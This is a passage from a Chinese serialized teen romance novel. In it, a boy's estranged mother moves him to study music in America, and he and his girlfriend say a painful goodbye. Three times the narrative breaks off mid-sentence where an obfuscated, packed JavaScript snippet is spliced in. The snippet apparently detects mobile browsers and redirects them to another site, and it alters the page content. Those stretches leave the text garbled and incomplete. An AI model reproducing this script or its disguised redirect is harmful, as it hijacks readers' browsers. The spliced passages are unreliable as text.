江昱然走在外侧,一辆轿车擦着两人身边径直开过去,溅起一地泥水。他蹙蹙眉头,轻攥住沈羡瑶衣角带她往砖头路靠:“这条路上下学高峰都是行人,不是都明令禁止再往里开了,怎么还有占着校门口不动的。” “就是说啊,前两天升旗的时候李主任还特意强调来着。”她啃着饭团,却总是搞不明白麻烦的包装,海苔又碎成渣渣往外溢,她连忙伸手去接,到底不小心蹭到校服衫,显得有些狼狈。 她有些气不过,饭团的包装到底是什么反人类的设计! 江昱然从兜里抽出两张湿巾,边走路边低头擦拭她身上的污渍:“怎么换口味了。” “金枪鱼的卖没了,”她撇撇嘴,咬了一口最中间的酱,眼睛又亮起来,“不过蛋黄味的也挺好吃的。” “老林给我们发的那套拔高卷,最后一题你做上来了吗?” “当然,”沈羡瑶得意地挑挑眉,“我还研究出了另一种解法,回去给你讲,但是我没带卷,你记得拍下图片发给我。” 几个骑着自行车的四班同学经过,频频回头挤眉弄眼的,她被盯得有些不好意思,往江昱然身后躲了躲。 经过最后一颗银杏树,地面上的影子挨得愈发的近,指尖悄悄地碰在一起,发出试探信号。沈羡瑶轻轻一抖,像受惊的兔子慌忙张望四周,眼睛滴溜溜地转,下意识就想把他往外推,却反倒被捉住食指。 “又没人。” “我想拉手,”江昱然语气软下来,带着点委屈,“可以吗?” 她弯弯唇角,算是默许,掌心传来不真切的温度,酥酥麻麻的,只是浅浅相交在一起,沈羡瑶感受到他的拇指在凸起的骨节缓缓摩挲,两人呼吸都克制着,耳尖烧得通红。 “对了,天气预报说明天会有雨,记得带伞。” 沈羡瑶盯着手机屏幕,肩膀轻轻碰了碰身边人,半晌却没回应,握着自己的那只手有一瞬怔然,被她敏锐捕捉到。 她顺着江昱然的目光看去,只瞧见一辆黑色轿车停在路边。车窗摇下半个,露出妇人精致的脸庞,眉眼和江昱然有四分相似,眸里像漫了一层雾,带着打量意味的岑岑笑意,捉摸不透。 她愣了瞬,下意识挣脱江昱然的手,他却只是迟疑了一刻,反倒将她攥得更紧,十根指头就这样毫无预兆地相扣在一起,严丝合缝,微微传来痛意。 - 窗外景物不断倒退,只来得及框住盛夏的一角。 江昱然坐在后座,车内安静得有些过头,弥漫着淡淡尴尬。卢菁菁从前车镜瞥了他一眼,嘴角弯了弯,露出红唇底下的洁白牙齿:“怎么一声不吭的,最近过得怎么样,在学校有什么开心的事,跟妈说说啊。” 他微张着嘴欲言又止,最终还是将嘴巴闭紧,抿成一条直线,眼神专注地望向窗外,却并没有具体的落点。 “那个女孩...是你们班的?” 听到这话,他总算有了反应,将视线缓缓收回,点点头算是承认。 许是看出他的不安,卢菁菁莞尔一笑:“你这个年纪有喜欢的女孩多正常,是好事,妈不是那种老古板,你又不是不知道。” “出落的还挺漂亮的,看起来性格也好。”她接着说。 江昱然怔了瞬,脸上浮现一丝自己都没察觉到的笑意:“嗯,她叫沈羡瑶,我们刚升高二时就一起做同桌,性格和长相是她最不值一提的优点,我从她身上学到了很多。” 话匣子成功打开,卢菁菁只是听着他的话微微点头,又从车镜瞥了眼他:“在安岚和学校待得还习惯吗?” “挺好的,前不久刚结束一场晚会,办得很精彩。” 卢菁菁拖拉着尾音“哦”了声,又说:“过几天,妈再给你汇五千生活费。” “我钱够用。”他眉心拧在一起,这才感到一丝不对劲。卢菁菁鲜少回安岚,生活费什么的也都是江超在管,怎么突然这个时候提起钱的事。 “妈知道这些年家里亏欠你挺多的,你恨也好怨也罢,以后的日子终究是要踏踏实实过好的。咱们到底是血浓于水的亲人,你爸是个不靠谱的,妈不一样,这不,我手头上的事一忙完,就把你接回来了吗。” 江昱然更是一怔,迟疑道:“...接回来?回哪?” 卢菁菁的手慢条斯理地握紧方向盘又松开,红艳的唇勾起个弧度:“当然是回家啊。” - 天色渐晚,沈羡瑶洗了两个油桃,水大剌剌地滴在厨房到客厅的路上,一手递给沈如晴,另一只手往嘴里送。 她窝在沙发一角,叼着桃子,劈里啪啦地在聊天界面打字:记得把你说的那道题拍我一下[猫猫探头.表情包]。 汁水在口腔爆开,并不是很清甜的滋味,甚至回甘有种麻舌头的涩,她一口一口接着咬着,嘴角却止不住地扬起笑意。 沈如晴最近总吵吵着要跟上年轻人的潮流,爱上了刷短视频,被一些具有年代感的土味段子逗得前仰后合,声音敞亮外放着,显得家里像是有七八个人般。 她捏着油桃,在胸口布料蹭了几下,却也不吃,只是若有所思地盯着沈羡瑶。沈羡瑶低着头,注意力全然集中在迟迟没有回应的聊天框上,直到那难以忽视的外放声突然停止了,她才悠悠抬眼,刚好和沈如晴的眼睛撞了个正着。 带着探究,审视,和几分源于血脉的威严,她手几乎是下意识一颤。 “你是不是有喜欢的男生了?” 沈羡瑶身体僵了瞬,良久才反应过来自己在憋气,面对妈妈的质问,她本想强硬地反驳或是含糊地掩盖过去。可当她对上那双深邃沉静的眸子时,却说不出一句谎话。至少在这一刻,她并不想隐瞒自己最亲近的人。 于是她慢慢垂下眼,睫毛轻颤着,平静地承认了这个事实。 气压低得骇人,墙壁好像四面八方地吸附过来,将她牢牢盯死在原地。她攥紧手机,像等待法庭宣判那样等待着沈如晴的反应,大发雷霆?失望透顶?亦或是更直接些一个巴掌直接甩下来。 “帅吗?” ... ..... ....... 沈羡瑶狠狠一怔,眼睛睁圆了些,看见沈如晴嘴角弯起一个...狡黠,对,狡黠的弧度,眸里有隐隐光亮跃动。 “妈?”她几乎是从座椅上蹦起来,惊喜又诧异地搂住沈如晴的脖颈,死皮赖脸地扒在她背后,语气都是那种矫揉造作的撒娇味道。 “别老往我身上凑,捂得一身臭汗。”沈如晴嘴上嫌弃着往外推,却并没真使劲,到底被她这副模样逗笑,好像变回十七八岁的烂漫少女。 沈羡瑶在沈如晴背上晃啊晃,叽叽喳喳地讲着关于江昱然的事情,这个姿势保持累了,她就往地板盘腿一坐,陪着沈如晴叠衣服。 “照你这么说,他还没有缺点啦?”沈如晴手上动作不停歇,“就想这么跟他过一辈子不成?” “当然!”她眼里燃起一簇小火苗,语气格外认真,“他就是哪哪就好啊,不然我喜欢他做什么。”说完她又忽地有点不好意思,将嘴唇抿成一条直线,眼角仍弯着。 年少时的喜欢就是这样,热烈,纯粹,充满憧憬,就连他的缺点都通通变成可爱的地方,有人喊他名字时要比他先回头,心里荡起一圈涟漪。 “不害臊。”沈如晴笑骂了句,将洗净的校服往她身上一丢,“自己收到房间里去。” 她缩缩脖子,回房间的脚步都是飘着的,沈如晴望着她的背影,静静怔了许久。 门的那头,沈羡瑶靠着衣柜,打开江昱然的聊天界面,那边却迟迟没有回应。她犹豫再三,还是敲下几个字发送:我怕我认错了,她...是你妈妈吗? 月光从窗帘缝隙溜进来,过滤成雾蒙蒙的乳白颜色,偌大的宅子内,那片波光粼粼的刻花玻璃也倒映出一张苍白的脸。 江昱然眼尾拖红,嗓音都哑下来:“为什么自作主张,为什么从来不先问问我的意见,为什么一次也没有考虑过我的想法。” “你知道这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963950|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少人梦寐以求的机会吗?那可是柏伦克,他们的音乐学院世界顶级,你不是一直想走这条路吗,现在没人拦着你做这些了,你还有什么不满意的?”卢菁菁把玩着中指的戒指,斜靠在沙发上睨着他。 “我不想去。”他努力平复呼吸,果断道。 她后背离开沙发,坐直了些,也不说话,像是要把江昱然整个人盯穿,一点点揭开撕碎他的心思和小秘密。 “就因为那个女孩?”卢菁菁扯扯嘴角,嗤笑道,“别傻了。” “你现在年纪小,我姑且算作你一时冲动脑子不清醒,谁还没有个被爱冲昏头脑的轻狂时候。等你再大一点,就知道,人这一辈子很长,会遇到形形色色的人,等你到了美国那边发展,什么样的女孩找不着?” 江昱然嘴唇微微颤抖:“你根本就不明白。” 卢菁菁渐失了耐心,又接着说:“行,没跟你商量就去学校给你办了所有手续是我不对,但这也是为你好,你自己过后冷静下来好好想想。” “对了,”她红唇勾起弧度,“周末带你去见Allen,等我们搬到那去,他就是你名义上的父亲了,记得好好表现。” 她想长久留在美国,组建新家庭原本一心一意想再生个孩子,却被告知无论年龄还是体质都已经很难再生育,为了自己的将来也为了和Allen的感情,眼下,接江昱然一起过去是最好的选择。 “妈妈答应你,只要你好好地跟我们去国外,你将来想做什么都不拦你,还会全力支持你。做音乐不是你一直以来坚持的梦想吗,如果为了那些虚无缥缈的东西就放弃,江昱然,那你的热爱也不过如此。”她一双眼眸像是能摄人心魂,循循善诱道。 江昱然的语气平静却坚定:“我留在国内,一样能坚持音乐梦想。” “...那个女孩到底有什么魅力,能让你做到这种程度?”卢菁菁没想到谈话会进行得如此不顺利,有些窝火。 半晌,她话锋一转,缓缓道:“这样吧,你要是真就这么喜欢,一秒也不想分开,我可以考虑资助她念美国的大学,这对我们家来说也不算什么,我就当再养个女儿了。” “...她不会同意的。”江昱然声音发涩,心脏像是有钝刀子一下一下地磨,“你这样做跟羞辱她没什么区别。” 卢菁菁像听到天大的笑话,嗤道:“羞辱?天上掉下来的馅饼还差不多!青春期的那点自尊值多少钱,等到十年之后,她会感谢我的。” “你不了解她,也不知道...” 她不耐地打断:“你们现在的山盟海誓跟过家家似的,风吹过来走几步就散了,你扪心自问,你现在有能力保护她?你给的了她最好的生活?” 他刚咬出没几个字,却再次被卢菁菁打断。 “江昱然,我觉得我有必要提醒你,你跟她根本就不是一个世界的人。” 她自顾自地继续说教,江昱然屡次想说话却又被更尖锐的音量盖过,终于在沉默中爆发,一下子将玄关的花瓶掀翻。 “能不能有一次让我把话说完?!”水雾登时漫上眼眶,他整个人都在止不住地微微发抖,“感情于我不是买卖,从来都不是!” 昂贵的古董花瓶随着一声脆响四分五裂,满地狼藉,锋利碎片刮过他脚踝和其余裸露的肌肤,瞬间泛起扎眼的红痕。他像是毫无知觉,麻木地站在原地,胸腔一起一伏。 卢菁菁也不说话了,又懒洋洋窝回去,柔软的沙发陷进去一个凹槽。她静静地坐在那里,显得江昱然像一个毫无理智的疯子。 良久,她从鼻腔溢出声轻哼:“我现在愈发觉得,当初离开你是正确的选择。江昱然,别再让我失望了。” 他狠狠一怔,五脏六腑仿佛都被揉在一起。 “对了,江超以后不会再给你供应钱了,现在你的生活全盘由我接管。”卢菁菁抬眸睨了眼他,淡淡道,“以后的路怎么走,你自己看着办。” 他攥紧的拳头又慢慢松开,像刚刚淋过一场暴雨,身体都肿大着,疲惫无比;像一缕没有生气的游魂,像一只被人喊起来吃饭却又踹了一脚的流浪狗。 无家可归,无路可逃。 36. 第 36 章 这几天在学校里,沈羡瑶总觉得江昱然特别不对劲,即使他极力伪装成若无其事的模样,她却能感受到,他并不开心,一点也不,就像是心里有事一样。 她几次想要问问他到底怎么了,却又忍了回去,以江昱然的性格,真有什么一定会主动跟她说,他要是不想说,自己一再追问只会反复揭开伤疤。 吃完午饭回来,桌角摆着一袋草莓牛奶和抹茶味的pocky饼干,她弯弯唇角将零食收到桌洞里,转头去看江昱然。 “你不睡吗?” 他本来在盯着墨绿黑板发呆,听到她的话,这才握紧笔,低着脑袋将目光投回英语阅读:“我写完这篇阅读再休息。” 沈羡瑶轻轻“哦”了声,蹙蹙眉头,终是犹豫道:“江昱然...如果你需要倾诉的话,我一直都在。” 他喉咙上下滑了滑,却没落声,只是默默将深色窗帘拉上遮住阳光。沈羡瑶阖上眼睛,将脑袋埋入臂弯。 清风从窗户缝隙温柔地抚过脸颊,像羽毛一样酥麻麻的,恍惚中,她好像做了一个梦。梦总是没有逻辑,发展的千奇百怪,她梦见自己和江昱然在15°C的初见,昔日点滴走马灯似的一晃而过,她又梦见江昱然牵着她的手,沿着种满银杏的小路一直走,向前,向前。 好像只是低了个头的功夫,再抬眼时,江昱然却已经走出一段距离,依旧是熟悉的背影,肩膀随着步伐轻轻摇晃。 “江昱然,江昱然?等等我呀。”她张了张嘴,着急地去追赶他的脚步。真是的,怎么把她落下了啊,等她追上他一定要揪着他耳朵好好兴师问罪一番。 她奋力去追,愈来愈快,可前面的江昱然明明没有刻意加快脚步,却始终与她隔着段距离,甚至离她越来越远,像是听不到她的呼唤,与世界隔了层屏障。 她怔在原地,看着他的背影化作一个小黑点,消匿在视线之内。 半梦半醒间,她无意识地蹙紧眉头,在又一阵风吹过时倏然睁开眼睛,就那样毫无防备地闯进江昱然的眼瞳。 他正在看她,不知道看了多久,只是一直侧着头,漆黑的眸子无声地抚过每个五官。就这样猝不及防地对视,他瞳孔微微摇晃,默了半晌,最后沙声道:“我去接杯水。” 沈羡瑶支起脑袋,愣愣地看着他离开的背影,无论如何也睡不着了。 一整个下午,江昱然都没有回到教室。 她时不时望向门口,期待下一秒熟悉的身影就会没有事一样容光焕发地回来,可一直等到天黑,她也没能看到期待的画面。她整理着物理笔记试图让自己心静,却听到前桌提到江昱然的名字。 “你知道吗?江昱然要出国了。” “真的假的我靠?大新闻啊,消息保真吗?” “当然,我刚刚去办公室,亲耳听到的,手续什么的都办完了,老林正拉着他谈话呢。” 零散字眼飘进沈羡瑶耳朵里,飘渺地过筛了一遍,最后重重砸在心脏,笔记的纸张被她捏得皱皱巴巴,这才后知后觉地浑身发冷。 临近晚自习的时候,江昱然才回到座位,沈羡瑶突然感谢晚自习的氛围,让她有了沉默的机会。两人谁也没说话,只是埋着头写卷子,顶空笼罩着一团看不见的乌云。 放学他们仍旧并肩走在通向车站的下坡路,几百米的距离在此刻无限延长,好像走了整整一个世纪。 沈羡瑶攥紧书包带,终是先一步停住脚步。 察觉到她的变化,江昱然也跟着停下来,两人隔了段不远不近的距离,沉默地相望,时间好像静止在这一刻。 “你到底打算什么时候告诉我。”她盯着江昱然,语气出奇的平静。 他喉咙上下滑了滑,沉默许久,最终沙声道:“...你都知道了。” “嗯,都知道了,”她垂着眸,“我还是从别人的口中知道这件事的,我去找陆洋阳问,他早就知道,李嵩也知道,静雯也知道。” 她深吸一口气:“原来只有我像个彻头彻尾的傻子被蒙在鼓里,江昱然,为什么...我是最后一个知道你要出国的呢?” “我们不应该是对彼此最坦诚的人吗?” 江昱然眼里划过一丝痛苦,轻声说:“我没有想故意瞒着你,只是一直不知道该怎样跟你开口。你对我来说,一定是那个最难告别的人。” 沈羡瑶扯了扯嘴角,长吐一口气,仰头看向今晚的夜空。星星都藏起来了,徒留下空洞夜幕,黑曜石般。 “你去吧。”她淡淡道。 江昱然一怔,身子晃了晃,嘴唇翕张却只吐出几个不成字的模糊音节。 “我见过你谈及梦想神采奕奕的模样,见过你在舞台上闪闪发光的模样,见过你在工作室和15°C沉浸享受的模样,所以我不可能阻止你奔向更好的前程。” “...羡瑶。”他嗓音涩哑,轻轻唤了声她名字,神色是形容不出的倦怠。 她擦着江昱然肩膀从他身边掠过,充耳不闻身后的声音,只觉得脑子里一团乱麻,自顾自地加快脚步,独自走向车站。 “我没事,只是需要一点时间静一静。” 青苔潮湿的气味慢慢浮上来,蟋蟀在耳边嗡嗡地寻找存在感,一切都沉寂着,除了桌面两杯酸梅汤的冰块叮当作响。 “所以,你就没再跟他说别的?”宋静雯撑着下巴,嘴里嘟嘟囔囔。 沈羡瑶垂下眸,睫毛颤了颤:“嗯,我当时心里很乱,需要整理下自己的情绪。” 宋静雯轻拍她的肩膀安抚,也跟着五味杂陈起来,轻叹道:“你要不直接跟他说你舍不得他呢,江昱然那么喜欢你,说不定就不去了呢。” “我不可能那样做,”她答得果断,“太自私了,现在最煎熬最不好受的人就是他,他出国这件事一定也和他妈妈突然回来有关系,我不能在这种时候让自己的情绪影响到他。” “可是这对你也不公平啊...” “羡瑶,”宋静雯小心翼翼打量着她的眼色,柔声说,“你要是实在不好受就哭一场,这里只有我在,没关系的。” 沈羡瑶默了两秒,缓缓向后靠去,椅背托起整个人的重量。她仰起头,凝着漆黑夜幕,喉咙不动声色地上下滚了滚。 “其实我为他高兴,真心真意的,柏伦克是世界最好的音乐学府之一,他能够去那里深造对他的发展大有好处,离他的音乐梦想也更近了一步。” “只是我可能还没做好告别的准备,总觉得我们相处的时间明明才这么短,就要面临更折磨人的考验。大洋彼岸的两个国家,十几个小时的时差,迥异的生活环境和形形色色的诱惑。最重要的是,我们都说不准未来的事,他在那边读完大学,是不是还要继续读研读博,是不是要在美国深耕发展,考虑回国的几率又是多少。” “我并不恐惧承诺,只是讨厌毫无意义的承诺,我也并不害怕分离,只是不想这样的日子连个盼头都没有,于我于他,可能都在浪费彼此的时间。” 风吹得树叶沙沙作响,荡漾满地的少女心事。 “我始终觉得,任何人都不应该为了别人放弃更好的机会,改变自己的人生规划。” “我的人生不只有爱情,江昱然也一样。” 等到手背覆上温热触感,她才堪堪意识到自己的手凉得骇人,宋静雯不知道该说些什么安慰她,只能轻轻地摩挲着她的手,一遍又一遍。 沈羡瑶克制着声音的颤抖,眼眶却早已漫了一层雾。她终是没忍住,埋在宋静雯的肩头小声啜泣起来,泪水洇湿了衣服布料。 “我们太像了,两个自尊心强的人,势必有一个要先低头。” - 15°C。 清吧里灯光昏暗,最里侧的小舞台几乎夺去所有视线,薄荷绿和鸢尾紫交织着,为乐符的流淌铺陈底色。 今晚是江昱然最后一次在15°C的演出,卡座并未全部坐满,却基本都是常来捧场的熟人,氛围也稀松平常,没什么刻意煽情。沈羡瑶靠在吧台,静静看着台上拨弄电吉他弦的江昱然,许是空气里漾着些酸甜果酒味道,让她眼尾也泛起潮红。 黑兜帽,红吉他,好像一瞬间又回到初见的时候,他漫不经心地拨弄着吉他弦,掀起眼皮向她看来,故事的篇章由此开始。 好像什么都没变,又好像什么都变了。 一曲终了,响起依依不舍的掌声,江昱然摘下吉他肩带,真挚地朝台下深深鞠了一躬。她飞快揩去眼角湿润,跟着众人一起鼓掌,只是在和江昱然对上眼神时下意识低下头去。 夜晚温度渐凉,江昱然将外套脱给沈羡瑶,她拽紧外套领口,将它浅浅搭在身上。沈羡瑶将一束花不容分说地塞进他怀里,嘴巴和眼睛都在笑,却只感到难过:“本来想你演出完就给你,后来还是觉得私底下单独给你更有意义。” “江昱然,祝你前程似锦,万事顺遂。”她深吸一口气,道。 他攥紧花束,低头望着那一支支郁金香,瞬间红了眼眶。 “我不去了。” 她心脏猛地一抽,良久硬撑着挤出道浅笑,也只是默默伸手抚了抚他的脸颊:“别说傻话。” “我认真的,只要你跟我说你不想我走,我就留下来。” 少年的双眸炽热无比,灼得沈羡瑶眼眶泛酸,有一瞬,她突然真的很想不管不顾地跟他说,留下来吧,她舍不得他。 可她终究先一步移开视线,用沉默代替回答。 月光孤寂地洒下来,将两人的影子拉得修长。 沈羡瑶将语气努力控制得平静,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈羡瑶盯着他,喉咙一阵发紧,忽地笑了:“恰恰相反,我喜欢你,很喜欢很喜欢,所以我的理智和情感才会不断拉扯,弄得我快疯掉了。我确实对你有所保留,但我对任何人都是这样,我的成长环境太没有安全感了,我做不到百分百的信任和依赖一个人,我害怕被伤害,害怕被抛弃,所以我做好了随时离开的准备。” “...所以你现在要离开了,是吗?”他轻声道。 她鼻头一酸,摇摇头,又点点头。 “我看了好几晚去美国的机票,最便宜的也要一万三,整整一万三啊,对你来说可能不算什么,于我而言,要攒不知道几个月才能攒到。江昱然,不是所有人的人生都像你一样有底气和退路,这段关系里我现在变得太被动了,你不明白吗。” “你在那边要待几年,四年,七年,还是一辈子?你会不会遇到比我好看和优秀百倍的女孩?”她顿了顿,声音染上哭腔,“你告诉我我到底要怎么做,该怎么做?” 沈羡瑶的情绪越来越激动,逼得他连连后退,眼泪像断了线的珠子涓涓滚下。 “我们可以一起去美国!”江昱然头脑猛地一热,急切道,“那里的艺术氛围很浓厚,对你未来的发展也有好处。至于钱,我会想办法,以后也一定会还给我妈。” 话音刚落,他便后悔了,不该说的,他不该说的。 沈羡瑶质问的声音戛然而止,只是一直看着面前的江昱然,像挨了一记重锤。气氛没有一刻比现在更糟糕,他慌了神,去拉她的手不住地道歉,却被她狠狠甩开。 “你敢不敢再跟我重复一遍?” 江昱然身子晃了晃,失魂落魄地站在原地,保持沉默。 “你可以让我等你,让我努力追赶你的脚步,甚至分道扬镳还彼此自由,唯独不能让我依附你!” 胸腔因为愤慨起伏幅度格外明显,她头脑一阵晕眩,五脏六腑好像都被揉在一起。 “一年本科至少要五十万,算上杂七杂八的生活成本,几年下来好几百万,我拿什么负担?!是,你可以大手一挥慷慨地帮我填上,我们的关系还纯粹吗。吵架我都没有底气直视你的眼睛,遇事也要先看你的眼色,说句不好听的,就算几年后我不喜欢你了,我都要再思量思量!” “你明知道我不可能答应,你明知道。” 沈羡瑶停下来,不再说话,突然有几分想哭的冲动,又硬生生憋了回去。 良久,她抬起眸。 “也许,我们真的不是一个世界的人。” “江昱然,要走就走的决绝点,做出点漂亮的成绩。” “别让我瞧不起你。” 37. 第 37 章 狭小房间里只留了一盏床头的小灯,孤独地倾泻暖黄光亮,沈羡瑶蜷在被窝里,翻来覆去却怎么也没有睡意。 她仰面朝着天花板,一阵怔愣,怎么就变成现在这样了,她今天对江昱然说了很多难听过分的话,心口针刺似的隐隐作痛。 手机几下突兀的震动,是江昱然发来的消息,一连好几条,头像亮起瞩目的小红点。她却再没了往日的开心和迫不及待,甚至连点开的勇气都没有,过了不知道多久,她打开手机一狠心,将江昱然的置顶撤了下来。 沈羡瑶默了半晌,又点进他的头像,手指在删除联系人的按钮上方停滞许久,终是没舍得落下去。她点进江昱然的朋友圈,一条条翻过他以前的动态,时哭时笑,直到看见最底部一道平滑冰冷的直线。 她将手机藏进枕头底下,胡乱揩去眼角湿润,阖紧眼睛。 - 江昱然最后一天在晨星的日子,和以往似乎也没什么不同。林澍原本想给他办个简单的欢送会,却被他拒绝了,他安安静静地坐在自己的位置上,一直到上完最后一个晚自习。 桌洞里塞满了小礼物,其中也不乏一些情书,好像总是在这样最后的时刻,大家才有勇气吐露真心。 最终只有沈羡瑶几个人送江昱然出去,五人慢吞吞地走出校门,沿着银杏小道磨磨蹭蹭地向前走。陆洋阳帮他拿着书包,忽地往怀里死命塞说什么也不给他:“我现在偷你护照还来得及吗?” 江昱然看大家都哭丧着脸,心里也一阵酸涩,抬手捏了捏陆洋阳的肩膀,宽慰道:“好了,我又不是消失在这个世界了,以后还会联系的。” “跟消失有什么区别啊。”宋静雯低声嘟囔着。 气氛又低落下来。 几人看向走在末尾到现在没有说过一句话的沈羡瑶,对视一眼,默契地为她和江昱然腾出空间。 耳边响起一道不易察觉的轻叹:“...走吧,我送你回家。” 昏黄弯月低低悬在街头,压弯了树丫,狡黠地混进一盏盏亮起的路灯中。 一个小卖部出现在视线中,外墙张贴着两张复古海报,摆着一摞摞小女生最近追捧喜爱的偶像拍摄的杂志。 沈羡瑶弯起嘴角,伸手指了指:“这家小卖部我经常去,上下学路过的时候会顺便买袋草莓牛奶,或者饭团。我比对过,这家的价格也要比其他家的便宜,很划算。” “这么晚还开着,”他顺着她目光瞧去,“进去看看吧。” 老板本来还打着哈欠,见来了客人瞬间精神抖擞。 “有你喜欢的金枪鱼。” “嗯,运气真好,还剩最后一个。”沈羡瑶将饭团牢牢攥在手里,也没加热,转头看他:“你不吃吗?” 他摇摇头,两人就这样并排走向车站,沈羡瑶撕开包装袋,小口咬着饭团,盯着月亮发呆。 “今天的月亮真好看,”她喃喃道。 其实好像也没什么特别的,不够圆,也不够亮,但就是让她看得入了神。 “嗯,像是被谁啃了一口。”江昱然接过话茬,轻笑道。 沈羡瑶愣了瞬,看看月亮又看看手里的饭团,莫名被戳中笑点,也跟着低低笑起来,胸腔都在颤。两人笑声叠在一块,她手微微收紧,捏住的饭团海苔又劈里啪啦地碎了,沙拉酱沿着包装袋漫至虎口,滴落衬衫。直到感受到有一只手在衣服上擦来擦去,她低头才看见江昱然不知什么时候抽出两张湿巾,弯下腰将她身上的污渍小心抹掉。 她的眼神从他骨节分明动作不停的手指滑到下垂的睫毛,无声地抚平他无意识蹙起的眉毛。鼻子没由头的一酸,她慌忙夺过他手里的湿巾,快速在衣服上蹭了几下:“我自己来。” 江昱然没落声,手慢慢缩了回去,就这样默默地看着她收拾好,连着剩余的包装纸一起扔进垃圾桶。 “上车吧。”她低着头,抓住公交的扶手先一步踏上去。 车窗敞开一个小口,晚风将碎发吹得凌乱,她感受到有道目光缓缓扫过自己的右脸颊,久久不肯移开。车子摇摇晃晃地驶向远方,沈羡瑶仍旧侧着头,将纠缠的耳机线理好,分出半个给江昱然。 “AndGod,tellusthereasonyouthiswastedontheyoung” “It''shuntingseasonandthelambsareontherun” “Searchingformeaning” “Butareweallloststarstryingtolightupthedark?” ...... 雨丝淅淅沥沥地拍打车窗,留下蜿蜒纹路,光怪陆离的夜色向后倒退,迷蒙潮湿。 裤腿湿了一角,氤氲着昏黄光亮的筒子楼出现在视线里,沈羡瑶抿抿嘴唇,和身旁人默契地停住脚步。 “到了。” “嗯。” 她终于肯抬起眼跟江昱然对视,仔仔细细地将他的模样又在心里描绘了一遍。良久,她努力挤出一个笑容,眼角弯成月牙,卧蚕也明显了些:“美国的风景应该和这里很不一样,听说纽约的日落很漂亮,有机会...我也真想去看看。” 江昱然很轻很轻地应了声,也跟着扯扯唇边:“纽约图书馆前面有一个和罗马很像的许愿池,记得往里面投个硬币,愿望都会实现。” “好,记住了。”她低笑一声。 “挺好的”,沈羡瑶凝着他的眼睛,顿了瞬,“我们都应该去看看更广阔的天地。” “你说,等下次见面,我会不会就认不出你了?”她眨眨眼,开玩笑地说起俏皮话。 “有可能,说不定我留起了长发,然后变得胡子拉碴的,亲爹亲妈都认不出。” “不会吧,人的审美会发生这么大的改变吗?” “人生就是千变万化的,谁说得准。” 两人又笑了几声,然后一同陷入漫长的沉默。 “沈羡瑶,你一定会成为你想成为的人。”江昱然突然开口打破沉寂,语气变得无比认真,每一个字都砸在她的心脏。 她轻轻点头,轻笑道:“你也是。” 她突然想起自己某天在他工作室里说过的话,总有一天,他们的名字会被世界知晓。 雨下的越来越大,地面的水洼劈里啪啦地溅起水点,将两人摇晃的倒影撞得破碎,远方起了一层雾,虚虚实实看不真切。 江昱然忽地举起两只手,做了一个向外拉扯的动作,见她有些懵地睁圆眼睛,他翘起嘴边,解释道:“饭团。” “先把它中间的封条沿着红线撕掉,然后倒过来,像这样捏住它两边的角,往外一扯,就会完完整整地把它取出来,不会弄脏身上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986862|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她望着他的动作狠狠一怔,努力咧了咧嘴角,喉间像卡了根尖锐的鱼刺,半晌说不出话。 周围景象变得模糊。 “江昱然,”沈羡瑶的指甲嵌进掌心,忽地道,“你还有什么想跟我说的吗?” 四目相对,眼尾逐渐堆砌难以忽视的深红,他仰起头,看向悬于头顶黑漆漆的天空和四周水淋淋的夜色。万籁俱寂,天边那轮清冷的弯月也柔和下来,温吞地洒下光亮。 “太晚了,回去吧。”半晌,他轻轻道。 沈羡瑶嘴角弯起一个细微的弧度,微不可闻地应了声,她随手抹了把糊住视线的水渍,头也不回地走进筒子楼。 那扇厚重冰冷的门关上前的最后一刻,她听见熟悉的声音从身后传来。 “沈羡瑶,向前看。” “就当是路过一只灰蝴蝶,就当是...从来没认识过我这个人。” - 北京时间下午四点零十五分,江昱然坐上了去往纽约的航班。 那间承载着梦想和回忆的工作室也抹去了在安岚的痕迹,那盆巴西木变得了无生机,叶子也耷拉下来,被他一同装进行李箱。 空姐磁性的双语播报音回荡在机舱,飞机在空中径直划过一条弧线,他靠在窗户旁,看着自己待了数年的城市变得越来越小,最终化为一个不起眼的黑点。四周是蓝天白云,终点是异国他乡。 江昱然悄悄地展开一封信,是当初林澍在班会上让他们写的,本来是要等到高考后再看的,可他等不到那个时候了。 熟悉的字迹出现在眼前。 致江昱然: 有的时候缘分真的很神奇,第一次见你的时候,觉得你这个人拽得跟个二五八万似的,特别不好相处,万万没想到后来我们能变成一个班的,还做了同桌。 我发誓,一开始我对你的态度真的是敬而远之,惹不起还躲不起吗,谁知道后来越来越“无法无天”,虽然这话我自己说有些厚颜无耻,但可能,这就是被偏爱的人有恃无恐? 静雯也说,感觉我这一年的话变多了,性格也开朗不少,我一直很庆幸,能在晨星遇到你们这么一群可爱的朋友,让我变得更加勇敢,有了无畏向前的底气。 